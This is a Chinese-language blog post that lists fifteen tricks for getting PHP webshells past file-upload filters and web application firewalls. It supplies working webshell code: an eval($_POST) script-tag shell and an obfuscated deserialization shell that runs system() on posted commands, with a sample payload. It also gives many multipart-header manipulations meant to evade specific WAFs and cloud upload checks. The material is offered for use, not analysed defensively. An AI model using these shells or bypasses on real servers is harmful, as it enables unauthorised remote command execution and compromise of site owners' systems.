1.先假设一个前提,可以上传.htaccess或者.user.ini
因为不知道目标使用的是 nginx 还是 Apache,所以给两个参考链接
如果是nginx可以看看我这篇文章的0x01 CheckIn:https://www.cnpanda.net/ctf/383.html
如果是apache可以看看这篇文章:https://thibaud-robin.fr/articles/bypass-filter-upload/
2.如果检测是<?php ?>
可以试一试使用其他标签,如

<script language="php">
 eval($_POST[2333]);
</script>

这个要求php<7
或者

<?
...
?>

3.如果检测的不是php标签,是敏感内容的话,这里送你一个免杀php马

<?php


if (isset($_POST['run'])) {

class HandShip {

public $name;

public $male;

function __destruct() {

$allin = $this->name;

$allin($this->male);

}

}

if(md5($_POST['code'])=='ce61649168c4550c2f7acab92354dc6e'){


unserialize($_POST['run']);

}

}

?>

用法:

run=O:8:"HandShip":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /home";};&code=panda

4.绕过思路:对文件的内容,数据。数据包进行处理。

关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
form-data; 修改为~form-data;
5.通过替换大小写来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream

Content-Disposition 修改为content-Disposition
form-data 修改为Form-data
Content-Type 修改为content-Type
6.通过删减空格来进行绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream

Content-Disposition: form-data 冒号后面 增加或减少一个空格
form-data; name="file"; 分号后面 增加或减少一个空格
Content-Type: application/octet-stream 冒号后面 增加一个空格
7.通过字符串拼接绕过

Content-Disposition: form-data; name="file"; filename="yjh3.php"
form-data 修改为 f+orm-data
from-data 修改为 form-d+ata
8.双文件上传绕过

<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>

9.HTTP header 属性值绕过

Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data*来绕过
Content-Disposition: *; name="file"; filename="yjh.php"
10.HTTP header 属性名称绕过
源代码:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
Content-Type: image/png

绕过内容如下:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"

删除掉ontent-Type: image/png只留下c,将.phpc后面即可,但是要注意额,双引号要跟着c.php".
11.等效替换绕过
原内容:

Content-Type: multipart/form-data; boundary=---------------------------471463142114

修改后:

Content-Type: multipart/form-data; boundary =---------------------------471463142114

boundary后面加入空格。
12.修改编码绕过
使用UTF-16Unicode双URL编码等等
13.WTS-WAF 绕过上传
原内容:

Content-Disposition: form-data; name="up_picture"; filename="xss.php"

添加回车

Content-Disposition: form-data; name="up_picture"; filename="xss.php"

14.百度云上传绕过

百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
15.填充垃圾数据,造成溢出后使WAF崩掉

Content-Disposition: 字段溢出即可 比如Content-Disposition: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA一直加就行了十万++


EOF

  • 本文作者: MuRKuo
  • 本文链接: https://www.cnblogs.com/murkuo/p/15085555.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • posted on   菜刀的菜  阅读(172)  评论(0编辑  收藏  举报
    相关博文:
    阅读排行:
    · 25岁的心里话
    · 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
    · 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
    · 零经验选手,Compose 一天开发一款小游戏!
    · 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
    < 2025年3月 >
    23 24 25 26 27 28 1
    2 3 4 5 6 7 8
    9 10 11 12 13 14 15
    16 17 18 19 20 21 22
    23 24 25 26 27 28 29
    30 31 1 2 3 4 5
    点击右上角即可分享
    微信分享提示